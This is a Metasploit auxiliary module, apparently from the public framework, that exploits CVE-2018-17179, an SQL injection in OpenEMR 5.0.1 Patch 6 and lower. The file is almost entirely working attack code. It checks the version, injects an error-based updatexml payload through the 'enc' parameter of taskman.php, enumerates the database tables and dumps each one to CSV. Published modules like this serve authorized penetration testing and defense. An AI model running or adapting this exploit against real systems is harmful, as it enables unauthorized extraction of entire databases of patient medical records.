require 'csv'

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
        'Description' => %q{
          This module exploits a SQLi vulnerability found in
          OpenEMR version 5.0.1 Patch 6 and lower. The
          vulnerability allows the contents of the entire
          database (with exception of log and task tables) to be
          extracted.
          This module saves each table as a `.csv` file in your
          loot directory and has been tested with
          OpenEMR 5.0.1 (3).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Will Porter <will.porter[at]lodestonesecurity.com>'
        ],
        'References' => [
          ['CVE', '2018-17179'],
          ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
        ],
        'DisclosureDate' => '2019-05-17',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
      ]
    )
  end

  def uri
    target_uri.path
  end

  def openemr_version
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'admin.php')
    )
    vprint_status("admin.php response code: #{res.code}")
    document = Nokogiri::HTML(res.body)
    document.css('tr')[1].css('td')[3].text
  rescue StandardError
    ''
  end

  def check
    # Check version
    print_status('Trying to detect installed version')
    version = openemr_version
    return Exploit::CheckCode::Unknown('Could not determine OpenEMR version') if version.empty?

    vprint_status("Version #{version} detected")
    version.sub! ' (', '.'
    version.sub! ')', ''
    version.strip!

    return Exploit::CheckCode::Safe("OpenEMR version #{version} is not vulnerable") unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')

    Exploit::CheckCode::Appears("OpenEMR version #{version} is in the vulnerable range")
  end

  def get_response(payload)
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
      'vars_get' => {
        'action' => 'make_task',
        'from_id' => '1',
        'to_id' => '1',
        'pid' => '1',
        'doc_type' => '1',
        'doc_id' => '1',
        'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
      }
    )
  end

  def save_csv(data, table)
    # Use the same gsub pattern as store_loot
    # this will put the first 8 safe characters of the tablename
    # in the filename in the loot directory
    safe_table = table.gsub(/[^a-z0-9._]+/i, '')
    store_loot(
      "openemr.#{safe_table}.dump",
      'application/CSV',
      rhost,
      data.map(&:to_csv).join,
      "#{safe_table}.csv"
    )
  end

  def dump_all
    sqli_opts = {
      truncation_length: 31, # slices of 31 bytes of the query response are returned
      encoder: :base64, # the web application messes up multibyte characters, better encode
      verbose: datastore['VERBOSE']
    }
    sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
      res = get_response(payload)
      if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])
        response
      else
        ''
      end
    end
    unless sqli.test_vulnerable
      fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'
    end
    print_good 'The target seems vulnerable.'
    db_version = sqli.version
    print_status("DB Version: #{db_version}")
    print_status('Enumerating tables, this may take a moment...')
    tables = sqli.enum_table_names
    num_tables = tables.length
    print_status("Identified #{num_tables} tables.")
    # These tables are impossible to fetch because they increase each request
    skiptables = %w[form_taskman log log_comment_encrypt]
    # large table containing text in different languages, >4mb in size
    skiptables << 'lang_definitions'
    tables.each_with_index do |table, i|
      if skiptables.include?(table)
        print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
      else
        columns_of_table = sqli.enum_table_columns(table)
        print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")
        table_data = sqli.dump_table_fields(table, columns_of_table)
        table_data.unshift(columns_of_table)
        save_csv(table_data, table)
      end
    end
    print_status("Dumped all tables to #{Msf::Config.loot_directory}")
  end

  def run
    dump_all
  end
end
